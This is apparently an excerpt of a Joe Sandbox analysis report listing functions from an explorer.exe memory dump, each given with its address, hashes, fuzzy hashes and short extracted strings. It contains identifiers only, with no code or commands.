Opcode ID: 7de8f4fbd9c73027a13a6988d558d3eb2f6e87fa60696f47575c969d23567273
Instruction ID: c5fc8638016c5c3a71e09afa8981e76383ba6d3624b3213d18d34c5b6158173f
Opcode Fuzzy Hash: 7de8f4fbd9c73027a13a6988d558d3eb2f6e87fa60696f47575c969d23567273
Instruction Fuzzy Hash: 6E213871D9850AAEEB589A98D4946FEB7B2FF48741F00417AC40DD3186DE283842DB81

Function 00007FF887C70B05 Relevance: 1.5, Strings: 1, Instructions: 232COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887C70D1B

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: r6B
API String ID: 0-2624010786
Opcode ID: 1e4377d8db67911e01eb637b55679ebb2807f3950ac22375c39787f42f8379ff
Instruction ID: 100716c98fa862a09a81e8b6fe31b07565450e0e1d3472ebfd906464735960b2
Opcode Fuzzy Hash: 1e4377d8db67911e01eb637b55679ebb2807f3950ac22375c39787f42f8379ff
Instruction Fuzzy Hash: FBA14A34D0861D9FDB49CF58C494AACB7B1FF69344F1084AED42ED7392CA39A982CB15

Function 00007FF887C708BA Relevance: 1.5, Strings: 1, Instructions: 215COMMON

Download Yara Rule

Strings

b4B, xrefs: 00007FF887C70A22

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: b4B
API String ID: 0-3849415641
Opcode ID: be3ae81b305745b6828741fb6104f73396c40d8a6a801b86bcd6f34051a47a5c
Instruction ID: 277f50db40026d40e0ef3ac88290a6047d74db0dbe5154e2155cc0db893cd6fb
Opcode Fuzzy Hash: be3ae81b305745b6828741fb6104f73396c40d8a6a801b86bcd6f34051a47a5c
Instruction Fuzzy Hash: A4513730A9C6994FF74D9A6CD8522BC77E1FB46399F1401BEC4ABD7183D9186883C781

Function 00007FF887C6AB5A Relevance: 1.5, Strings: 1, Instructions: 215COMMON

Download Yara Rule

Strings

b4B, xrefs: 00007FF887C6ACC2

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: b4B
API String ID: 0-3849415641
Opcode ID: 68ff306419929ce6fc04c73f83ef8845492c18576705759d69630728d7bb3499
Instruction ID: 7da5aec4c460ecada495abfdc7d55c2f9bf52eb09f923baca7f80bafe0625b48
Opcode Fuzzy Hash: 68ff306419929ce6fc04c73f83ef8845492c18576705759d69630728d7bb3499
Instruction Fuzzy Hash: 17510531A5C6995FE70D9A68D8912BD7BE2FB46358F2401BDC49BC7283D91AB843C381

Function 00007FF887C60C36 Relevance: 1.4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

Strings

0DL, xrefs: 00007FF887C60C92

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: 0DL
API String ID: 0-3174716889
Opcode ID: cb7ec33d7cf2fab04889667a48948d717c24f0cdf11c11d35f0ee23eaae169f2
Instruction ID: 58be074a506b8578b5683f149144db072893f1c44ff37b9ab1bbf0095c209ed9
Opcode Fuzzy Hash: cb7ec33d7cf2fab04889667a48948d717c24f0cdf11c11d35f0ee23eaae169f2
Instruction Fuzzy Hash: 1B71C670D58A198FDB94EB68D894BACB7F2FF59340F5041AAD00DE7292DA34A9C1CF01

Function 00007FF887C65FC0 Relevance: 1.4, Strings: 1, Instructions: 166COMMON

Download Yara Rule

Strings

M_I, xrefs: 00007FF887C66044

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: M_I
API String ID: 0-1631496010
Opcode ID: 527be21c56a6bc7912795941230a2e956c7f56064c5f66f457fc50dd420862eb
Instruction ID: 1eefbec50b29c7e5fdc9e9609f642554cfcb486d474a76c161528ad11e1d5092
Opcode Fuzzy Hash: 527be21c56a6bc7912795941230a2e956c7f56064c5f66f457fc50dd420862eb
Instruction Fuzzy Hash: 8851D371D4D64A8FE744ABA8E4902FDBBF2FF02350F4402BED04AA7283DE286945C745

Function 00007FF887C61A81 Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

H;H, xrefs: 00007FF887C61AE3

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: H;H
API String ID: 0-2930457148
Opcode ID: 517b8caad787b70c4bd2874fca5a318590782eddd460ce10ec62bac1388fa36e
Instruction ID: 6dab85dcce982a00887fc22d13475259a380ea117df7c275e12da97817ec52ff
Opcode Fuzzy Hash: 517b8caad787b70c4bd2874fca5a318590782eddd460ce10ec62bac1388fa36e
Instruction Fuzzy Hash: 2B41FC70D48A5D9FDB94DFA8D499BADBBF1FF68301F04006AD409E7291DB74A881CB40

Function 00007FF887C61AA0 Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

H;H, xrefs: 00007FF887C61AE3

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: H;H
API String ID: 0-2930457148
Opcode ID: aac8b7998fcf552e4ef311b68d799abb8a1118de4442a0e925efc792f6512783
Instruction ID: e13270e1f9a991fefd4075643ed8262169229ff2f1a6a20087b6ed38eca27be3
Opcode Fuzzy Hash: aac8b7998fcf552e4ef311b68d799abb8a1118de4442a0e925efc792f6512783
Instruction Fuzzy Hash: DD41E570D08A5D9FDF94EBA8D499BADBBF1FF68301F04006AD409E7295DB74A881CB40

Function 00007FF887C6CCB6 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887C6CD69

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: r6B
API String ID: 0-2624010786
Opcode ID: 24954e2407bd13df6b73490990eb73d115e2a78f07a260d38a03d285746d1bd3
Instruction ID: 9393e7cc418f6f42cc8c611c01e3c5ab54285a080841d4fcea577a746d4b1cf3
Opcode Fuzzy Hash: 24954e2407bd13df6b73490990eb73d115e2a78f07a260d38a03d285746d1bd3
Instruction Fuzzy Hash: 6731C771A1891D9FDF88EB9CD895EADBBF1FF99340F00016AD10DD72A1DA38A841CB40

Function 00007FF887C6CD00 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887C6CD69

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: r6B
API String ID: 0-2624010786
Opcode ID: 3638509ca2c6209b88d809871fa5a2fb0475a94c43b37da602fbb9b64aa29845
Instruction ID: 16c36525524118076a620ce9d8aa1af4b263e612c583ecc210ce35be9e6b2eff
Opcode Fuzzy Hash: 3638509ca2c6209b88d809871fa5a2fb0475a94c43b37da602fbb9b64aa29845
Instruction Fuzzy Hash: 06219670E1491D8FDF84EBACC495EADBBF1FF59340B41406AD51DE7261DA38A841CB40

Function 00007FF887C692A2 Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887C69299

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: r6B
API String ID: 0-2624010786
Opcode ID: 371704b5d9bc6042d9d85e75bb18ba8bfc78c737fe06900c03b326b091174f5e
Instruction ID: 0b08d6e5e84ad89fae5c19baf1c602355c9b441ff0224416d49b7227daa759fb
Opcode Fuzzy Hash: 371704b5d9bc6042d9d85e75bb18ba8bfc78c737fe06900c03b326b091174f5e
Instruction Fuzzy Hash: 0D112132FAC9195B9B98E65CE8915BCB3E3FF99BA0B14427DD40ED3282DD1578028681

Function 00007FF887C69B08 Relevance: 1.3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887C69B8F

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: r6B
API String ID: 0-2624010786
Opcode ID: 6802b8f44b7769fa817fd8c924511abae402af23fa5eb8d121462a80b7479c6c
Instruction ID: 6308bafbf94ec3e472d7d20a9edde7deaf7d7fb007364b3db71022e7e254e8a6
Opcode Fuzzy Hash: 6802b8f44b7769fa817fd8c924511abae402af23fa5eb8d121462a80b7479c6c
Instruction Fuzzy Hash: B201FE61E5CD4A9FD7D8EE68C4953B973E1FF64745B40427EC80EC71C2EE14A8058741

Function 00007FF887C69B6A Relevance: 1.3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887C69B8F

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: r6B
API String ID: 0-2624010786
Opcode ID: 5d1b5ae4696257a7511fa5b54f7d64a009bff735f633178dacf54bf061361684
Instruction ID: ad6b4824e84d9195764b832706cdaeb947d714f6f747746cb9b7fa53c8ca87bc
Opcode Fuzzy Hash: 5d1b5ae4696257a7511fa5b54f7d64a009bff735f633178dacf54bf061361684
Instruction Fuzzy Hash: CF01B561B58E4E9FD788EE68C4953F9B3E1FF64341B00417EC80EC3692EE24A4058741

Function 00007FF887C6642C Relevance: 1.3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

Strings

8eL, xrefs: 00007FF887C66446

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: 8eL
API String ID: 0-2915619072
Opcode ID: e9c8691b0098c2d19a567465d2901634218dbbb161e3f5b5de620ea729e01775
Instruction ID: 08ead22f693b659f01f44d7e4d00f33c4d0a8010499a8be639a944abc09e44ea
Opcode Fuzzy Hash: e9c8691b0098c2d19a567465d2901634218dbbb161e3f5b5de620ea729e01775
Instruction Fuzzy Hash: 53F0A975918A0D8FEB44EF9CE8806EEB7B5FB88314F40026AE80DD3285CB34A9158781

Function 00007FF887C6661B Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

XE, xrefs: 00007FF887C6665B

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: XE
API String ID: 0-1903603036
Opcode ID: 294256b78cdc04fac0de7e775246c3fdd69551ce4a9e372d46bf187cec8b15ff
Instruction ID: 6f4c8c892a62f70a3393868eb0d56af03ebd61fb25423aa5803de10335e8f255
Opcode Fuzzy Hash: 294256b78cdc04fac0de7e775246c3fdd69551ce4a9e372d46bf187cec8b15ff
Instruction Fuzzy Hash: 49F0A074D48A4D8EEB81EB68D48C2ECBFF1FF44340F4004B9D409E3091EA34A584CB02

Function 00007FF887C631AB Relevance: .4, Instructions: 366COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bb6d071989d04ac3baa1be1e47cee423b0cc05346ef5cdc879742b541d0179d
Instruction ID: 7f0fe5b3390f369e80e2284b3cd1aee6ce7f31d8cc518240dc87755b6620ccc2
Opcode Fuzzy Hash: 3bb6d071989d04ac3baa1be1e47cee423b0cc05346ef5cdc879742b541d0179d
Instruction Fuzzy Hash: E3D12770D18A598FEB98DB68C8A47BCB7B2FF59740F1441BDD00DE3292DA386985CB41

Function 00007FF887C631B0 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2f302a3080a080986f6c2553e565ea38a14cffb2144f63a3e10c3cb410c1ab0
Instruction ID: d1616f64264e7a6ba62a62fd4633d3a3d24872d0f11dfffa7833a121715a8938
Opcode Fuzzy Hash: e2f302a3080a080986f6c2553e565ea38a14cffb2144f63a3e10c3cb410c1ab0
Instruction Fuzzy Hash: 1DB11871D18A598FEB98DB68C8A47ACB7B2FF59344F1441BDC00DD7292DE386984CB41

Function 00007FF887C6F699 Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 600a1cf5d18a65d8d45f93bbea2e643047c89fa157d2c8f885560107f0e2133b
Instruction ID: 6e23ade98f1c482783ecf6a01ae7580d1c2220655d1a073eaf7296f1a99b3d67
Opcode Fuzzy Hash: 600a1cf5d18a65d8d45f93bbea2e643047c89fa157d2c8f885560107f0e2133b
Instruction Fuzzy Hash: 82A18B31948A4A8FEB99EB68D4916ED77F2FF59340F50057DE00ED7282DB39A841CB41

Function 00007FF887C6B62D Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bcc8240450cceea0f4406b265b2520ca842de3293fff278da7eb206b1a81b82
Instruction ID: c67664f250e00c231554b895842454f3f2a27f7c098279d2b1194e7121762a1e
Opcode Fuzzy Hash: 8bcc8240450cceea0f4406b265b2520ca842de3293fff278da7eb206b1a81b82
Instruction Fuzzy Hash: A5A17030A58B068FE359DF28D1D45AA7BF2FF44344B60497DC48AC7696DB39B882CB41

Function 00007FF887C635C0 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8979870b8972d1db3dc0906e0104b842d97e53227a3a1dbe41be24e4c1631ff
Instruction ID: 0b93c283398273cac97e0fdc4964738050b18eb65bd349b855f4ce5bc6a357fe
Opcode Fuzzy Hash: a8979870b8972d1db3dc0906e0104b842d97e53227a3a1dbe41be24e4c1631ff
Instruction Fuzzy Hash: 68911070D1865A8FDB58DFA4C494AEDBBB2FF59301F60017DD00EA7292CB39A981CB51

Function 00007FF887C6149A Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d595c6d8163acbf9f18e822314f4e49940779622b6dedb98d97c6b5003a6c140
Instruction ID: de794ff5465a4269cf24f57aebea2a4ff212e7e9895f17ed93e501eb02a1efa4
Opcode Fuzzy Hash: d595c6d8163acbf9f18e822314f4e49940779622b6dedb98d97c6b5003a6c140
Instruction Fuzzy Hash: EE51D631C8C94E4BEB6596E8D8412FCBBB2BF56392F14027ED45AD70D7EA18340AC691

Function 00007FF887C698E8 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13931a9a21a471bd2ea21a8166e5334c06b49daa355ecd698ad4cf93fc9de951
Instruction ID: ef9d474894d712407f25367c43bfc4f0cd83cc853bb7f52834d80799aa440b13
Opcode Fuzzy Hash: 13931a9a21a471bd2ea21a8166e5334c06b49daa355ecd698ad4cf93fc9de951
Instruction Fuzzy Hash: AE510730A5CA064FE36D8A2CD4554BC77F2FF84790B2446BED08BC7182EF18A846C782

Function 00007FF887C7138D Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7672645794ed123af9988456a0018f8f1be78459218354c420cf90e6466b3da
Instruction ID: 21d89557e55be9902ff7a41cc06f8b2702c2618f4cfb92af4c85f399af6ca43f
Opcode Fuzzy Hash: d7672645794ed123af9988456a0018f8f1be78459218354c420cf90e6466b3da
Instruction Fuzzy Hash: 7E717F30558B068FE359CB28D1845A577F2FF94394BA0497DC48AC7A96DF39F882CB40

Function 00007FF887C69BE6 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68b0ea8c630b157457e337411dcc0f71126847d4771e0bd27b4e0a0d3718e6d0
Instruction ID: 62cf4d351e60567c4d0188caba23ebf3a798c536609324c167d207d59001c90b
Opcode Fuzzy Hash: 68b0ea8c630b157457e337411dcc0f71126847d4771e0bd27b4e0a0d3718e6d0
Instruction Fuzzy Hash: E051263194DA464FE3A59B28E4951B97BF2FF55390B0405BED04EC7183DA2DB806C792

Function 00007FF887C617D5 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36fdb3de8e97fac9955919ef6e44c646ab63308b7049ad2d08ed047b39810cf6
Instruction ID: 98f47211b0795c184a092ee55a59ffd9380baa5b1f8c4a0da109e2cd66cbeae5
Opcode Fuzzy Hash: 36fdb3de8e97fac9955919ef6e44c646ab63308b7049ad2d08ed047b39810cf6
Instruction Fuzzy Hash: 2F61FB30D1464D8FDB84EBA8D8997ECBBB1FF58340F10416AD40DE7292DB386985CB41

Function 00007FF887C6F3B9 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41e83fd28f4085be5fb37a53febd5dc01b261ad688f9d988f86467d86a03ae7e
Instruction ID: f8e460cb6983d6aacafda1cd38fef396255e4e226e36e83f4c1d94cc2fbcae58
Opcode Fuzzy Hash: 41e83fd28f4085be5fb37a53febd5dc01b261ad688f9d988f86467d86a03ae7e
Instruction Fuzzy Hash: E151D570A18A1D8FDF98EF98D494AEDBBB2FF59300F50016AD00DE7295DB34A981CB40

Function 00007FF887C66970 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70ea98aa270bcf781601dc44021aebc7b525dedcb3a646b44819ae4a80bd5093
Instruction ID: 29430dd47f2e9f7c6046339d5f084e2673f568fdcec8d3b0827ab886dd475500
Opcode Fuzzy Hash: 70ea98aa270bcf781601dc44021aebc7b525dedcb3a646b44819ae4a80bd5093
Instruction Fuzzy Hash: B441E231A9CA524FE31D9A2CE4910BD7BF2FF95758B24467ED08BC3286ED18B446C641

Function 00007FF887C695C5 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: affac81e5ac93972eebbc7e6e7915fc941fc47ecbbb3a9de10dde8c0fbefa48f
Instruction ID: 7c8d97294d33643b68b549dfd71c973a55b000dd6f2b4990dfbcc188a4b1f6ca
Opcode Fuzzy Hash: affac81e5ac93972eebbc7e6e7915fc941fc47ecbbb3a9de10dde8c0fbefa48f
Instruction Fuzzy Hash: 6541B131A4CA598FD7E59B28E8859BD7BB2FF69391B1401BFE00AC3191DA18F801C791

Function 00007FF887C6FA29 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46c3f7eee7c908fb6732f34fb944b908123d6eb636d3842fd6fbde327095e745
Instruction ID: c02d216f1649e0d0cc5bf987eb5a47bded0593084d0e902221dae015765d152f
Opcode Fuzzy Hash: 46c3f7eee7c908fb6732f34fb944b908123d6eb636d3842fd6fbde327095e745
Instruction Fuzzy Hash: 43313532ACD2810FD3664264AC924F53BF5EF472A5B0901BFE489C7583D91EB847C3A1

Function 00007FF887C6D2ED Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e9cfbcc045143e0046eb7409a75db98cfd9eb93dacb1512590c09d2a6021e35
Instruction ID: 805ee17c05e892c36e2125dba9fa8ea2837e12ab0e498a1b58c68e1d05310f56
Opcode Fuzzy Hash: 0e9cfbcc045143e0046eb7409a75db98cfd9eb93dacb1512590c09d2a6021e35
Instruction Fuzzy Hash: D031086198E6865FE7565634AC945A87FB5FF832A0B0901FFD08DCB093DA092846C3A2

Function 00007FF887C60A62 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f69acf1077ba335ccd20136728844651672f71aba0cfbcaee461bf3e530b6f7
Instruction ID: 512a769b5c154ac53fcfb49b3ad300d54e7b61f65da640440d3c4f6122aefb9e
Opcode Fuzzy Hash: 0f69acf1077ba335ccd20136728844651672f71aba0cfbcaee461bf3e530b6f7
Instruction Fuzzy Hash: C93184B1D5490A9FEF94EB98E4956FDBBF2FF44790B440079D009E3696DE283842C741

Function 00007FF887C66491 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2e90fe24242a937890d95d92c14f2c295ce6b067311da6ea9eda96c5e47ce36
Instruction ID: ada54fd0b7f5538a6ad412b6e0e3a02845fff9d5f4196217a36a506561a354a1
Opcode Fuzzy Hash: b2e90fe24242a937890d95d92c14f2c295ce6b067311da6ea9eda96c5e47ce36
Instruction Fuzzy Hash: 7531BF31C89A5D9FEB45EB64E8516FDB7B2FF46300F11017AE00EE7192CA396A52C781

Function 00007FF887C6D431 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c836f4ebb51487e674ad49dddd9953c3af27b8696f0f36f94760295fec88214a
Instruction ID: ced1987cae27b7f16ee223cf6c3bb5e76f1932bb2553db0125acc862a2e0309a
Opcode Fuzzy Hash: c836f4ebb51487e674ad49dddd9953c3af27b8696f0f36f94760295fec88214a
Instruction Fuzzy Hash: C421D471E9C9199FEB649758E8899FD77F6FF49390B1401BAE00ED3181CE187C018791

Function 00007FF887C658AB Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 519cf7360a50890a63a45732f841e891bda84018b6fa020052f3330ddbadf565
Instruction ID: b6c7e13f28e89a482fcaaddd797ef54e0972b607bdf21ffcfdc1845372aa04bf
Opcode Fuzzy Hash: 519cf7360a50890a63a45732f841e891bda84018b6fa020052f3330ddbadf565
Instruction Fuzzy Hash: F821B17094965D8FEB94EFA8E8546ED77B2FF99350F00047AE00ED7292DB39A901CB41

Function 00007FF887C69621 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dcad404d4dec39fd56ac13bdb9cab7d5c3d9f94dfc9b9768b48298ce7ac9d45
Instruction ID: ff3e60e6f4ec2b2a69deeab832da05f0f58657280d15597f7bb70476a0077559
Opcode Fuzzy Hash: 6dcad404d4dec39fd56ac13bdb9cab7d5c3d9f94dfc9b9768b48298ce7ac9d45
Instruction Fuzzy Hash: C021CF3198C7199FE7E59758E8899BD7BB2FF69290B04017EE00ED3181DE18B801C381

Function 00007FF887C60598 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
